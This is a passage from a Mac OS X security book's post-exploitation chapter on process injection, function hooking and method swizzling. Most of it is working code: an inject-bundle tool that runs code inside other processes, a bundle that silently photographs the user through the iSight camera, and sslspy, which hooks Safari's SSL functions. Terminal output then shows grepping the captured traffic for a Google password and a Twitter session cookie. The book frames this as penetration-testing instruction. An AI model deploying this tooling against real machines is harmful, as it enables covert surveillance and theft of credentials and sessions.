                 mach_msg_type_number_t               in_state_count,

                 thread_state_t                            out_state,

                 mach_msg_type_number_t *            out_state_count);
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kern_return_t   catch_exception_raise_state_identity

                (mach_port_t                          exception_port,

                 mach_port_t                                  thread,

                 mach_port_t                                    task,

                 exception_type_t                          exception,

                 exception_data_t                               code,

                 mach_msg_type_number_t                   code_count,

                 int *                                        flavor,

                 thread_state_t                             in_state,

                 mach_msg_type_number_t               in_state_count,

                 thread_state_t                            out_state,

                 mach_msg_type_number_t *            out_state_count);

Which function is called depends on the arguments to thread_set_exception_
ports(). For example, the call to thread_set_exception_ports() in the fi rst exam-
ple shows that we are interested in receiving EXCEPTION_STATE_IDENTITY 
messages. This will cause exc_server() to call the locally defi ned handler named 
catch_exception_raise_state_identity(). Handling exceptions is as simple as 
defi ning an exception-handler function and using a call to mach_msg_server() 
like the following.

mach_msg_server(exc_server, 2048,

                exception_port,

                MACH_MSG_TIMEOUT_NONE);

In this code, the call to mach_msg_server specifi es that exc_server() should 
be called to process any received mach messages, a 2,048-byte buffer should be 
used to receive messages, messages will be received on the port exception_port, 
and there should be no timeout waiting for messages.

Mach Injection

In Chapter 9 we demonstrated an exploit payload that injected a compiled 
Mach-O bundle into the currently running process. It would be convenient 
to be able to do the same to other running local processes without having to 
exploit a vulnerability within them. This technique has been used by a number 
of Mac OS X packages to extend the functionality of system processes like the 
Finder and WindowServer. An existing project, mach_inject, can be used to 
do just that on both PowerPC and x86. The project provides a function called 
mach_inject_bundle that will inject arbitrary bundles into running processes.

The mach_inject code is ideally suited to inclusion in a fully featured Mac OS 
X application or framework bundle. There are several support fi les (including 
subframeworks and bundles) that must be included along with the application 
to support bundle injection. This is due to the fact that mach_inject_bundle() 
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fi rst uses the mach_inject() function to inject a support bundle that in turn 
loads the actual bundle that was requested. In addition, the code assumes that 
the injected bundle is part of a fully featured bundle directory, rather than just 
the essential Mach-O bundle binary. To create an injection tool that is lighter 
weight and a little more fl exible, we created our own custom injector called 
inject-bundle.

Our inject-bundle is a self-contained single source fi le that can be used as 
a command-line injection tool or integrated into other projects. The injector 
operates somewhat differently from our remote bundle-injector exploit pay-
load. Nevertheless, we keep it similar enough so that we may test our injectable 
bundles using the local injector and be confi dent that they will work without 
modifi cation in the remote injector exploit payload. We will discuss some of 
the mechanisms behind the injector with some code examples, but see the full 
source code for more detail.

In the rest of this chapter we will use the injector along with some other tools 
for dynamically overriding application behavior to demonstrate a variety of 
injectable bundles for penetration testing and security testing.

Remote Threads
Our injector creates two functions to support remote threads, as shown in the 
following code.

kern_return_t

create_remote_thread(mach_port_t task, remote_thread_t* rt, 

                     vm_address_t start_address, int argc, ...);

kern_return_t

join_remote_thread(remote_thread_t* remote_thread, void** return_value);

To call remote functions, our injector creates a new thread within the remote 
process to call the target function. When you create a new thread, you must 
specify the values of all the CPU registers for it. You must also allocate some 
memory in the remote process to use as a stack segment. An initial implemen-
tation could set the EIP (x86) or PC (PowerPC) registers to our target function; 
however, there are some problems with this approach.

All threads on Mac OS X are more than just Mach threads; they are also POSIX 
threads. Many library functions expect to be able to access POSIX thread–specifi c 
data for the current thread. A “naked” Mach thread works to perform system 
calls, but will crash when attempting to call anything more complicated. To fi x 
this our injected thread needs to fi rst promote itself to a real POSIX thread.

Converting a “naked” Mach thread into a real POSIX thread involves set-
ting a pointer to the thread’s own pthread_t structure in a special CPU reg-
ister and storing a pointer to the thread’s own pthread_t structure within the 
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pthread_t structure’s thread-specifi c data (TSD) array. A machine-specifi c func-
tion, __pthread_set_self(), in the commpage sets the CPU register to the given 
pthread_t structure. On x86 and x86-64, the gs selector register points to the 
currently executing thread’s pthread_t structure. On PowerPC, this is stored 
in the special-purpose register SPRG3. There are also a few private functions 
in Libc that will help us set the CPU register and TSD pointers (see the follow-
ing example). If you call _pthread_set_self() and then cthread_set_self() with 
a pointer to enough space for a pthread_t structure, the “naked” Mach thread 
will initialize itself to be a proper POSIX thread as well.

__private_extern__ void

_pthread_set_self(pthread_t p)

{

        extern void __pthread_set_self(pthread_t);

        if (p == 0) {

                bzero(&_thread, sizeof(struct _pthread));

                p = &_thread;

        }

        p->tsd[0] = p;

        __pthread_set_self(p);

}

void

cthread_set_self(void *cself)

{

    pthread_t self = pthread_self();

    if ((self == (pthread_t)NULL) || (self->sig != _PTHREAD_SIG)) {

        _pthread_set_self(cself);

        return;

    }

    self->cthread_self = cself;

}

Since you must call _pthread_set_self() and cthread_set_self() fi rst, you can-
not simply set our thread’s start address to our target function. You also want to 
know when these functions are done executing and what value they returned. 
This requires you to execute a pair of special trampolines written in assembly: 
mach_thread_trampoline() and pthread_trampoline(). The mach_thread_tram-
poline() is responsible for the following:

 1. Calling _pthread_set_self with a pointer to an uninitialized pthread_t

 2. Calling cthread_set_self with a pointer to the same pthread_t structure

 3. Calling pthread_create() to create a new real pthread, specifying pthread_
trampoline() as its start routine and specifying the pointer to its parameter 
block as the start routine’s single argument
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 4. Waiting for the pthread to terminate and retrieving its return value by 
calling pthread_join()

 5. Setting the trampoline’s return value to the pthread’s return value

 6. Returning to a magic return address to indicate thread termination

The pthread_trampoline() is responsible for unpacking the target function’s 
address and arguments from the trampoline’s parameter block and calling the 
target function with those arguments. The trampoline returns the target func-
tion’s return value as its own. 

On PowerPC, the two separate trampolines described earlier are necessary. 
On x86 however, the functionality of both trampolines can be combined into 
one since the remote thread’s stack can be initialized with the arguments to the 
target function and thread-termination magic return address. The assembly-
code trampoline for x86 follows:

// Call _pthread_set_self with pthread_t arg already on stack

pop     eax

call    eax

add     esp, 4

// Call cthread_set_self with pthread_t arg already on stack

pop     eax

call    eax

add     esp, 4

// Call function with return address and arguments already on stack

pop     eax

jmp     eax

The trampolines for PowerPC are shown here:

/*

 * Expects:

 * r3  - struct _pthread *

 * r26 - start_routine arg

 * r27 - &(pthread_join)

 * r28 - &(pthread_create)

 * r29 - &(_pthread_set_self)

 * r30 - &(cthread_set_self)

 * r31 - &(start_routine)

 * ...

 */

asm void mach_thread_trampoline(void)

{

    mflr    r0

    stw     r0, 8(r1)

    stwu    r1, -96(r1)

    stw     r3, 56(r1)
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    // Call _pthread_set_self(pthread)

    mtctr   r29

    bctrl

    // Call cthread_set_self(pthread)

    lwz     r3, 56(r1)

    mtctr   r30

    bctrl

    // pthread_create(&pthread, NULL, start_routine, arg)

    addi    r3, r1, 60

    xor     r4, r4, r4

    mr      r5, r31

    mr      r6, r26

    mtctr   r28

    bctrl

    // pthread_join(pthread, &return_value)

    lwz     r3, 60(r1)

    addi    r4, r1, 64

    mtctr   r27

    bctrl

    lwz     r3, 64(r1)

    lwz     r0, 96 + 8(r1)

    mtlr    r0

    addi    r1, r1, 96

    blr

}

/*

 * Loads argument and function pointer from single argument and calls

 * the specified function with those arguments.

 */

asm void pthread_trampoline(void)

{

    mr      r2, r3

    lwz     r3, 0(r2)

    lwz     r4, 4(r2)

    lwz     r5, 8(r2)

    lwz     r6, 12(r2)

    lwz     r7, 16(r2)

    lwz     r8, 20(r2)

    lwz     r9, 24(r2)

    lwz     r10, 28(r2)

    lwz     r2, 32(r2)

    mtctr   r2

    bctr

}
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The trampoline code is placed on the remote thread’s stack. Normally, on 
Mac OS X x86 stack segments are non-executable. Since we explicitly create the 
memory mappings for the remote thread’s stack, we can specify its permis-
sions to allow reading, writing, and executing memory from it. At the top of 
the stack, we reserve space for the thread’s pthread_t structure, the trampoline 
code, and a prepared stack frame for running the trampoline code. When the 
trampoline code executes, it restores data it needs from CPU registers and its 
prepared stack frame.

To retrieve the return value from our remote thread, we employ a creative 
use of Mach exceptions. As mentioned previously, the remote Mach-thread 
trampoline returns to a magic return address. Our injector process installs itself 
as an exception handler for the remote thread. This allows our injector to be 
notifi ed of any exceptions within that thread. When an exception is received, the 
exc_server() will decode the exception message and call catch_exception_raise_
state_identity() with the appropriate information. In the exception handler in the 
following example, we examine the memory address of the faulting instruction 
to identify whether it is our magic return address. If so, we suspend the thread 
so that its state may be retrieved by join_remote_thread(). If not, we return a 
special value (MIG_NO_REPLY) to indicate that the exception was not handled 
and that the exception-handler search should continue. In practice this means 
the unhandled exception will be converted into a UNIX signal and delivered 
to the process, usually resulting in a crash. 

kern_return_t catch_exception_raise_state_identity(

    mach_port_t exception_port,

    mach_port_t thread,

    mach_port_t task,

    exception_type_t exception,

    exception_data_t code,

    mach_msg_type_number_t code_count,

    int *flavor,

    thread_state_t old_state,

    mach_msg_type_number_t old_state_count,

    thread_state_t new_state,

    mach_msg_type_number_t *new_state_count)

{

    

    switch (*flavor) {

#if defined(__i386__)

    case x86_THREAD_STATE32:

/*

 * A magic value of EIP signals that the thread is done

 * executing.  We respond by suspending the thread so that

 * we can terminate the exception handling loop and

 * retrieve the return value.

 */
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if (((x86_thread_state32_t*)old_state)->__eip == MAGIC_RETURN) {

    thread_suspend(thread);

            

    /*

     * Signal that exception was handled

     */

    return MIG_NO_REPLY;

}

break;

#elif defined(__ppc__)

    case PPC_THREAD_STATE:

if (((ppc_thread_state_t*)old_state)->__srr0 == MAGIC_RETURN) {

    thread_suspend(thread);

    return MIG_NO_REPLY;

}

break;

#endif

    }

    /*

     * Otherwise, keep searching for an exception handler

     */

    return KERN_INVALID_ARGUMENT;

}

In an alternative implementation, we could have decided that all exceptions 
in the injected thread should be handled by the injector and not delivered to 
the target process. This would prevent programming errors in the injected 
bundle from adversely affecting the target process but also make debugging 
very diffi cult, as the debugger attached to the injector would not have access to 
the memory in the target process. In a production injector, it might make more 
sense to prevent exceptions from the remote thread from being delivered to 
the remote process.

Remote Process Memory
Our remote-memory-management interface is meant to resemble the copyin/copy-
out interface that UNIX kernels use to transfer memory between the kernel and the 
user space, as well as the traditional malloc/free user-space memory allocator.

kern_return_t

remote_copyout(task_t task, void* src, vm_address_t dest, size_t n);

kern_return_t

remote_copyin(task_t task, vm_address_t src, void* dest, size_t n);
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vm_address_t

remote_malloc(task_t task, size_t size);

    

kern_return_t

remote_free(task_t task, vm_address_t addr);

In addition to the remote thread’s stack, we must be able to allocate memory 
in the remote address space. This can be used, for example, to pass strings 
or structures to remote functions. Luckily, the Mach system calls also make 
this possible.

The Mach system calls vm_allocate(), vm_deallocate(), vm_read(), and vm_
write() all take a Mach task as their fi rst argument. This allows us to perform 
these operations on our current task or any other task that we have access to. 
In this case we will use these functions to implement a very simple remote 
memory-management interface.

Loading a Dynamic Library or Bundle
Finally, the injector has a high-level function to inject a bundle from disk into 
a given Mach task.

kern_return_t

inject_bundle(task_t task, const char* bundle_path, void** 

return_value);

Now that we have an interface to allocate memory and create threads in the 
remote process, we can use them to call arbitrary functions remotely. We will 
use this to build our fi nal interface, inject_bundle(). Calling a remote function 
requires allocating remote memory for any string or structure arguments, creat-
ing a remote thread to call the function, and waiting for the thread to terminate 
to retrieve the return value. The following code shows how to call a simple 
function, getpid(), in a remote process.

kern_return_t

remote_getpid(task_t task, pid_t* pid)

{

    kern_return_t kr;

    remote_thread_t thread;

    

    if ((kr = create_remote_thread(task, &thread,

                                   (vm_address_t)&getpid, 0))) {

        warnx(“create_remote_thread() failed: %s”, 

              mach_error_string(kr));

        return kr;

    }

    if ((kr = join_remote_thread(&thread, (void**)pid))) {

        warnx(“join_remote_thread() failed: %s”, mach_error_string(kr));
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        return kr;

    }

    return kr;

}

The next example is the implementation of inject_bundle() and shows how 
to call more-complex functions.

kern_return_t

inject_bundle(task_t task, const char* bundle_path, void** return_value)

{

    kern_return_t kr;

    char path[PATH_MAX];

    vm_address_t path_rptr, sub_rptr;

    remote_thread_t thread;

    void* dl_handle = 0, *sub_addr = 0;

    /*

     * Since the remote process may have a different working directory

     * and library path environment variables, you must load the bundle

     * via a canonical absolute path.

     */

    if (!realpath(bundle_path, path)) {

        warn(“realpath”);

        return KERN_FAILURE;

    }

    

    /*

     * dl_handle = dlopen(path, RTLD_LAZY | RTLD_LOCAL)

     */

    path_rptr = remote_malloc(task, sizeof(path));

    remote_copyout(task, path, path_rptr, sizeof(path));

    if ((kr = create_remote_thread(task, &thread,

                                   (vm_address_t)&dlopen, 2,

                                   path_rptr, RTLD_LAZY | RTLD_LOCAL))) 

{

        warnx(“create_remote_thread dlopen() failed: %s”,

              mach_error_string(kr));

        return kr;

    }

    if ((kr = join_remote_thread(&thread, &dl_handle))) {

        warnx(“join_remote_thread dlopen() failed: %s”,

              mach_error_string(kr));

        return kr;

    }

    remote_free(task, path_rptr);
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    if (dl_handle == NULL) {

        warnx(“dlopen() failed”);

        return KERN_FAILURE;

    }

    

    /*

     * sub_addr = dlsym(dl_handle, “run”)

     */

    sub_rptr = remote_malloc(task, strlen(BUNDLE_MAIN) + 1);

    remote_copyout(task, BUNDLE_MAIN, sub_rptr, 

                   strlen(BUNDLE_MAIN) + 1);

    if ((kr = create_remote_thread(task, &thread,

                                   (vm_address_t)&dlsym, 2,

                                   dl_handle, sub_rptr))) {

        warnx(“create_remote_thread dlsym() failed: %s”,

              mach_error_string(kr));

        return kr;

    }

    if ((kr = join_remote_thread(&thread, &sub_addr))) {

        warnx(“join_remote_thread dlsym() failed: %s”,

              mach_error_string(kr));

        return kr;

    }

    remote_free(task, sub_rptr);

    if (sub_addr) {

        /*

         * return_value = run()

         */

        if ((kr = create_remote_thread(task, &thread,

                                       (vm_address_t)sub_addr, 0))) {

            warnx(“create_remote_thread run() failed: %s”,

                   mach_error_string(kr));

            return kr;

        }

        

        if ((kr = join_remote_thread(&thread, return_value))) {

            warnx(“join_remote_thread run() failed: %s”,

                  mach_error_string(kr));

            return kr;

        }

        

        return (int)return_value;

    }

    return kr;

}

95363c11.indd   30995363c11.indd   309 1/25/09   4:43:03 PM1/25/09   4:43:03 PM



310 Part IV ■ Post-Exploitation

Besides showing more-advanced usage of the remote thread and memory 
functions, the preceding example also shows how to use the standard library 
functions dlopen() and dlsym(). The dlopen() function loads and links a 
dynamic library or bundle into the current process. The function takes as argu-
ments the path to a Mach-O fi le and a mode constant to control whether external 
references from the Mach-O fi le are resolved immediately or lazily (the default). 
The dlopen() function returns a handle to the loaded fi le, which is actually the 
base address to which the fi le is loaded. This handle is also passed to dlsym()to 
resolve symbols within it. In our case, we look up a function called “run” and 
call it. Having a separate run() function allows the bundle to have constructors 
that may be initialized in any order while ensuring that a specifi c function will 
be called after all of the constructors have run. Here is a simple bundle with a 
constructor function named init(), a destructor function called fi ni(), and the 
main function run().

/*

 * Simple test bundle to demonstrate remote bundle injection.

 *

 * Compile with: cc -bundle -o test test.c

 */

#include <stdio.h>

extern void init(void) __attribute__ ((constructor));

void init(void)

{

   printf(“In init()\n”);

}

int run()

{

    printf(“In run()\n”);

    return 0xdeadbeef;

}

extern void fini(void) __attribute__ ((destructor));

void fini(void)

{

    printf(“In fini()\n”);

}

The rest of this chapter explores progressively more complex and interesting 
injectable bundles that may be used in the remote bundle-injection exploit pay-
load or the local bundle injector that we have just described. When developing 
your own injectable bundles, it is best to develop and test them fi rst using the 
local injector and then ensure that they also work using the injector payload.
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Inject-Bundle Usage
Now that the inject_bundle() function is fully implemented, you can use it to 
build a simple command-line utility to call it on an existing or newly created 
process. The source-code package for this book contains the inject-bundle util-
ity. Its usage is shown here:

usage: ./inject-bundle <path to bundle> [<pid> | <cmd> [ arguments …]  ]

With one argument (a path to a compiled Mach-O bundle), inject-bundle 
injects the bundle into its own Mach task. This is the simplest way to test a 
bundle in development since you need to debug only one process. If the second 
argument is a numeric process ID, inject-bundle injects the bundle into that 
process. In the fi nal form, the third argument and the optional subsequent 
arguments are a path to an executable to run and any command-line options 
for it. In this form, inject-bundle will launch that executable with the bundle 
preinjected.

As a quick example, if you run the test bundle using inject-bundle, you can 
see the order in which its functions are called.

% ./inject-bundle ../bundles/helloworld

In init()

In run()

In fini()

%

Example: iSight Photo Capture
For the fi rst example, we will describe a fun post-exploitation injectable bundle: 
a bundle that takes a picture using the Mac’s iSight camera. Almost all Macs 
sold within the last several years (excluding Mac Minis and Mac Pros) have a 
built-in iSight video camera and microphone. This allows any Mac to be turned 
into a remote observation and listening device. Luckily, the iSight has an activity 
light that lights up when it is enabled. When running this example, you will 
notice that this light is lit for a split second.

Use an existing open-source Cocoa class to capture a single frame from the 
iSight: CocoaSequenceGrabber, written by Tim Omernick (http://www.skyfell
.org/cocoasequencegrabber.html). CocoaSequenceGrabber provides a class, 
CSGCamera, to control the Mac’s default camera. An application using this class 
provides a delegate class to receive frames from the camera. Our bundle defi nes 
CSGCameraDelegate for this purpose.

Our CSGCameraDelegate class receives the fi rst frame from the CSGCamera 
and converts it to a JPEG-image data stream. This stream is stored in a previ-
ously supplied CFMutableDataRef, allowing the user of this class to retrieve 
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the JPEG image after the frame is captured. The following code shows the full 
interface and implementation to the CSGCameraDelete class.

/*

 * This delegate handles the didReceiveFrame callback from CSGCamera,

 * which we use to convert the image to a JPEG.

 */

@interface CSGCameraDelegate : CSGCamera

{

    CFMutableDataRef data;

}

/*

 * Assign a CFMutableDataRef to receive JPEG image data

 */

- (void)setDataRef:(CFMutableDataRef)dataRef;

/*

 * Convert captured frame into a JPEG datastream, stored in a CFDataRef

 */

- (void)camera:(CSGCamera *)aCamera didReceiveFrame:(CSGImage *)aFrame;

@end

@implementation CSGCameraDelegate

- (void)setDataRef:(CFMutableDataRef)dataRef

{

    data = dataRef;

}

- (void)camera:(CSGCamera *)aCamera didReceiveFrame:(CSGImage *)aFrame;

{

    // First, we must convert to a TIFF bitmap

    NSBitmapImageRep *imageRep = 

        [NSBitmapImageRep 

                     imageRepWithData: [aFrame TIFFRepresentation]];

    

    NSNumber *quality = [NSNumber numberWithFloat: 0.1];

    

    NSDictionary *props = 

        [NSDictionary dictionaryWithObject:quality

                      forKey:NSImageCompressionFactor];

    // Now convert TIFF bitmap to JPEG compressed image

    NSData *jpeg = 

        [imageRep representationUsingType: NSJPEGFileType 

                  properties:props];

    // Store JPEG image in a CFDataRef
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    CFIndex jpegLen = CFDataGetLength((CFDataRef)jpeg);

    CFDataSetLength(data, jpegLen);

    CFDataReplaceBytes(data, CFRangeMake((CFIndex)0, jpegLen), 

        CFDataGetBytePtr((CFDataRef)jpeg), jpegLen);

    

    [aCamera stop];

}

@end

This bundle does all of its work in its run() function, which is called explic-
itly by the local and remote bundle injectors. The isight bundle simply creates 
a CSGCameraDelegate to receive frames and a CSGCamera to capture frames 
from the iSight, and runs a new NSRunLoop for one second. This gives the 
CSGCamera class enough time to capture at least one image. The frame-receiv-
ing method in CSGCameraDelegate stops the CSGCamera after it receives the 
fi rst frame.

After the NSRunLoop terminates, the JPEG image data is saved to disk at /
tmp/isight.jpg. A sneakier bundle could transmit this image back to the attacker 
instead of saving it to the local system, but we leave that as an exercise to you. 
Here is the full code for run().

void run(int not_used)

{

    NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];

    

    /*

     * Use CocoaSequenceGrabber to capture a single image from the

     * iSight camera and store it as a JPEG data stream in picture.

     */

    CFMutableDataRef picture = CFDataCreateMutable(NULL, 0);

    CSGCameraDelegate *delegate = [[CSGCameraDelegate alloc] init];

    [delegate setDataRef:picture];

    

    CSGCamera *camera = [[CSGCamera alloc] init];

    [camera setDelegate:delegate];

    [camera startWithSize:NSMakeSize(640, 480)];

    /*

     * Create a new run loop to give the camera a chance to run.  One

     * second is long enough.

     */

    [[NSRunLoop currentRunLoop]

       runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1]];

    /*

     * Write out picture to to /tmp/isight.jpg

     */

    int fd;

    size_t len;
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    if ((fd = open(“/tmp/isight.jpg”, O_WRONLY|O_CREAT|O_TRUNC, 0644)) < 

0) {

        return;

    } 

    write(fd, CFDataGetBytePtr(picture), CFDataGetLength(picture));

    close(fd);

    [pool release];

}

The full code for the isight bundle can be found in src/lib/bundles/isight/ in 
this book’s source-code package. It can be compiled and tested as shown here:

% cd src/lib/bundles/isight/

% make

gcc    -c -o CSGCamera.o CSGCamera.m

…

gcc    -c -o CSGImage.o CSGImage.m

gcc    -c -o main.o main.m

gcc  -o isight CSGCamera.o CSGImage.o main.o -bundle -framework Cocoa 

-framework CoreAudioKit -framework Foundation -framework QuartzCore 

-framework QuickTime -framework QuartzCore

% ../../../bin/inject-bundle isight 

% open /tmp/isight.jpg

Function Hooking

Injecting new code into an existing process is very useful. Sometimes, however, 
you’d also like to modify the behavior of that process. One way to do that is by 
hooking existing functions and overriding their behavior. Our hooks can imple-
ment their own functionality before, after, or instead of calling the original 
“real” function.

Jonathan “Wolf” Rentzsch’s mach_star (http://rentzsch.com/mach_star/) 
includes a function called mach_override() that patches a target function’s 
machine code to jump to a small bit of dynamically allocated executable code. 
This fragment calls a newly supplied hook function instead. In the process of 
overriding a target function, the caller can supply a target pointer to hold the 
address of an island function. The island function is another small bit of dynami-
cally allocated executable code to re-execute any instructions overwritten in the 
original function and call it to proceed to execute the rest of the function. This 
allows the hook function (or any other code in the dynamically injected bundle) 
to call the real function at any time. In practice this lets the hooks call the real 
function before or after implementing their own functionality. This behavior is 
depicted in Figure 11-2.
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SSLRead

jmpA 
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Hook
jmp B

SSLRead
Island

jmp C

Caller

 Figure 11-2:  Function hooking

Example: SSLSpy
The next example injectable bundle, sslspy, will use function hooking to capture 
and log data sent through the Secure Transport SSL API, which is also used 
transparently by the CFNetwork and NSNetwork APIs for HTTPS URLs. Many 
applications on Mac OS X, including Safari, iChat, and Software Update, use 
these APIs for their SSL communication.

This is a useful technique for both penetration testing and security testing. 
In penetration testing, you can use this to capture credentials from a com-
promised host that may yield access to more systems. In security testing, this 
technique allows the tester to observe “secure” traffi c so that they may write 
fuzz tests against the server or client. While DTrace could also be used for this, 
the function-hooking technique is more fl exible, letting you write logic in C 
and even modify the SSL traffi c.

This bundle uses mach_override() to install hooks on several Secure Transport 
functions: SSLHandshake(), SSLClose(), SSLRead(), and SSLWrite(). The follow-
ing example shows the bundle-initialization function, which installs hooks for 
these functions. The calls to mach_override() also save a function pointer that 
you can use to call the “real” versions of these functions. You use these “real” 
function pointers in the hooks.

/*

 * On initialization, hook all of the SSL functions that we are

 * interested in: SSLHandshake, SSLClose, SSLRead, and SSLWrite.

 *

 * Note that this bundle *cannot* be unloaded because there is no

 * mach_unoverride!

 */

static void sslspy_init(void) __attribute__ ((constructor));

void sslspy_init(void)

{

    mach_error_t me;
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    _uid = getuid();

    _pid = getpid();

    

    _output_logs = CFDictionaryCreateMutable(NULL, 0, NULL, NULL);

    _input_logs = CFDictionaryCreateMutable(NULL, 0, NULL, NULL);

    

    if ((me = mach_override(“_SSLHandshake”, “Security”,

                            (void*)&_hook_SSLHandshake,

                            (void**)&_real_SSLHandshake))) {

        warnx(“mach_override: %s (0x%x)”, mach_error_string(me), me);

    }

    

    if ((me = mach_override(“_SSLClose”, “Security”,

                            (void*)&_hook_SSLClose,

                            (void**)&_real_SSLClose))) {

        warnx(“mach_override: %s (0x%x)”, mach_error_string(me), me);

    }

    

    if ((me = mach_override(“_SSLWrite”, “Security”,

                            (void*)&_hook_SSLWrite,

                            (void**)&_real_SSLWrite))) {

        warnx(“mach_override: %s (0x%x)”, mach_error_string(me), me);

    }

    if ((me = mach_override(“_SSLRead”, “Security”,

                            (void*)&_hook_SSLRead,

                            (void**)&_real_SSLRead))) {

        warnx(“mach_override: %s (0x%x)”, mach_error_string(me), me);

    }

}

An application calls SSLHandshake() to perform an SSL protocol negotiation 
on an established TCP connection. After it fi nishes, the SSLContext structure is 
fully initialized. The hook for SSLHandshake() calls the real SSLHandshake() 
and then opens log fi les for data written to and read from that SSL stream. SSL 
traffi c is logged into fi les rooted in /tmp/sslspy, but stored within further sub-
directories based on the user ID, process ID, SSL peer hostname, SSLContext 
unique identifi er, and direction of traffi c. The log fi les for open SSL connections 
are stored in a CFMutableDictionary keyed by the SSLContextRef pointer. For 
example, /tmp/sslspy/502/49418/gmail.com/0x9c4e00/out is the fi lename of 
an outbound capture of SSL traffi c to gmail.com. The hook for SSLHandshake() 
is somewhat lengthy, so if you’d like to see it, please refer to the full source for 
sslspy.c in this book’s source-code package.

SSLClose() terminates an SSL connection and the hook for it closes the asso-
ciated log fi les. The hooks for SSLRead() and SSLWrite() call the real functions 
and then log the transmitted data to the appropriate log fi les. The hooks for 
SSLRead() and SSLWrite() are as follows:

95363c11.indd   31695363c11.indd   316 1/25/09   4:43:03 PM1/25/09   4:43:03 PM



 Chapter 11 ■ Injecting, Hooking, and Swizzling 317

/*

 * SSLRead hook: Log read data into input log file

 */

static OSStatus

(*_real_SSLRead)(SSLContextRef, void*, size_t, size_t*) = 0;

static OSStatus 

_hook_SSLRead(SSLContextRef ctx, void *data, size_t dataLength,

             size_t *processed)

{

    OSStatus status;

    int fd;

    

    status = (*_real_SSLRead)(ctx, data, dataLength, processed);

    fd = (int)CFDictionaryGetValue(_input_logs, (void*)ctx);

    write(fd, data, *processed);

    return status;

}

/*

 * SSLWrite hook: Log written data into output log file

 */

static OSStatus

(*_real_SSLWrite)(SSLContextRef, const void *, size_t, size_t *) = 0;

static OSStatus

_hook_SSLWrite(SSLContextRef ctx, const void *data, size_t dataLength,

              size_t *bytesWritten)

{

    OSStatus status;

    int fd;

    

    status = (*_real_SSLWrite)(ctx, data, dataLength, bytesWritten);

    fd = (int)CFDictionaryGetValue(_output_logs, (void*)ctx);

    write(fd, data, *bytesWritten);

    return status;

}

As an example, we will show how to use the sslspy bundle to capture sensi-
tive data being sent over SSL by the Safari web browser. First you need to fi nd 
the process ID of the running Safari and inject the bundle into it.

bash-3.2# ps -aef | grep Safari

  502 50067   137   0   0:00.08 ??         0:00.28 

/Applications/Safari.app/Contents/MacOS/Safari -psn_0_10758722

    0 50106 50072   0   0:00.00 ttys001    0:00.00 grep Safari

bash-3.2# ./bin/inject-bundle ./lib/bundles/sslspy/sslspy 50067
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Now you wait while the user surfs the Web a little bit. As the user surfs, you 
can search the sslspy logs for anything interesting. You would probably be 
interested in website passwords or secure-session cookies, and you can easily 
fi nd these with grep:

bash-3.2# grep -aRi “passwd” /tmp/sslspy/502/50067/

/tmp/sslspy/502/50067/www.google.com/0x980200/

out:continue=http%3A%2F%2Fwww.google.com%2F&hl=en&Email=Dino.DaiZovi&Pas

swd=XXXXXXXX&PersistentCookie=yes&rmShown=1&signIn=Sign+in&asts=

bash-3.2# grep -aR “Set-Cookie” /tmp/sslspy/502/50067/

/tmp/sslspy/502/50067/twitter.com/0x9f8c00/in:Set-Cookie: _twitter_

sess=ABj3EzoEA8A5g1nifjAflzuerheA929fjNGlYAWvHaH12wf8ADOnHia1N0Oa%25

0B0HA8NdA9lNArysi91fjaksjfIFHsfls083hKJfjahrh298jsKhfFAFajJIHdfnfnFJ

ru982jFmfks7Jfnf9fuJFjfn2k0832Sfj1jfJFUNRju9NfkJ29fjJqhfyJF%250Ajfka

9j1jFkaj89fh12hnanjvcFjfhHFjjFJfffjf2h7Ajfnbjg9821hfjbj%250Bi18rjZjfjgh

rjf%253D%253D-- a6e7a8f986134c74a57832f18420fb10; domain=.twitter.com; 

path=/

Since HTTP is a plain-text protocol, you can also easily examine raw HTTP 
requests from the logged output. The following is an example HTTP request:

GET /twitter_production/profile_images/58409867/manga_dan_normal.png 

HTTP/1.1

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) 

AppleWebKit

/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1

Referer: https://twitter.com/home

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: __utma=225501720.1947162746.1209105764.1209105764.1209105764.1;

 __utmz=2

25501720.1209105764.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Connection: keep-alive

Host: s3.amazonaws.com

Objective-C Method Swizzling

The function-hooking technique demonstrated in the preceding section is quite 
useful for low-level processes written in C or C++. Real Mac OS X applications 
are more commonly written in Objective-C, however. The hooking technique 
is much less useful when every method call goes through the same function 
(objc_msgSend). Luckily, you can easily intercept method calls using a technique 
called method swizzling.
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First you need to fi nd some interesting methods to swizzle. Objective-C bina-
ries contain much of their class structure in a high-level form. This makes them 
easy to reverse-engineer in IDA Pro. It may often be easier than that, however.

A command-line tool called class-dump can be used to dump out the 
Objective-C class defi nitions from a given executable in recompilable Objective-C 
syntax. You can use this tool to browse through the class and method names 
looking for something interesting. Once you have found a potentially interesting 
method, you can break on it in the debugger to observe when it is called and 
with what arguments. You can do this even if the binary does not have symbols, 
as described in Apple’s aptly named Technical Note 2124: Mac OS X Debugging 
Magic (http://developer.apple.com/technotes/tn2004/tn”2124”.html).

For the next example, assume that the target is iChat and that you are inter-
ested in capturing IMs sent and received through it. If you run class-dump on 
the iChat binary, you will notice a few interesting methods.

% class-dump /Applications/iChat.app/Contents/MacOS/iChat | grep -i 

message

- (int)sendMessage:(id)fp8 toChatID:(id)fp12;

…

- (oneway void)chat:(id)fp8 messageReceived:(id)fp12;

Further examination of the full class-dump output reveals that those methods 
belong to the Service class.

Now you can attempt to use GDB to set a breakpoint on one of those 
methods.

%gdb /Applications/iChat.app/Contents/MacOS/iChat 

GNU gdb 6.3.50-20050815 (Apple version gdb-956) (Wed Apr 30 05:08:47 UTC 

2008)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you 

are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 

details.

This GDB was configured as “i386-apple-darwin”...Reading symbols for 

shared libraries .................................................. done

(gdb) break -[Service sendMessage:toChatID:]

Function “-[Service sendMessage:toChatID:]” not defined.

Make breakpoint pending on future shared library load? (y or [n]) n

(gdb)

Because the symbols were stripped from the binary, GDB is unable to locate 
the code for that method. Luckily, you can use some debugging magic to fi nd 
it ourselves.
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(gdb) run

The program being debugged has been started already.

Start it from the beginning? (y or n) y

